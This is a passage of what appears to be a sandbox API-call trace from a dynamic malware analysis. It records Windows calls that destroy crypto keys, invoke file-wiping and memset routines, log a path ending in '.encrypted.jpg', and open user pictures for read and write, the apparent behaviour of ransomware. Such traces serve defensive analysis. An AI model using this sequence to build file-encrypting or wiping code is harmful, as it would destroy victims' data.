PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.760] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.760] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.761] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.761] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.761] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.761] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.761] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.761] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.761] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.761] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.762] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.762] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.762] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.762] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.762] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.762] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.762] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.762] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.762] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.763] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.764] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.764] CharLowerBuffW (in: lpsz="byte[36182]", cchLength=0xb | out: lpsz="byte[36182]") returned 0xb [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.764] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.764] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.764] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.765] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.766] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.766] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.766] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.766] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.766] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.767] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.767] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.767] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.767] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.767] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.767] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.767] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.767] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.767] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.767] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9737) returned 1 [0028.767] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.767] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.767] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.767] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2609, lpOverlapped=0x0) returned 1 [0028.768] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.768] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2609, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.768] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9737) returned 1 [0028.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.encrypted.jpg\r\n", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0028.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.encrypted.jpg\r\n", cchWideChar=62, lpMultiByteStr=0xe8f4051ae0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 62 [0028.768] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40513b0*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40513b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3d, lpOverlapped=0x0) returned 1 [0028.768] CloseHandle (hObject=0x188) returned 1 [0028.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.770] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.770] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.770] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.770] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.770] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.771] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.771] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.772] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.772] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.png", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0028.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.png", cchWideChar=48, lpMultiByteStr=0xe8f404c350, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.png", lpUsedDefaultChar=0x0) returned 48 [0028.773] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\u1bz6duc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0028.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=48, lpWideCharStr=0xe8f40623a0, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.png") returned 48 [0028.773] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.774] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.774] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.774] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.774] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", 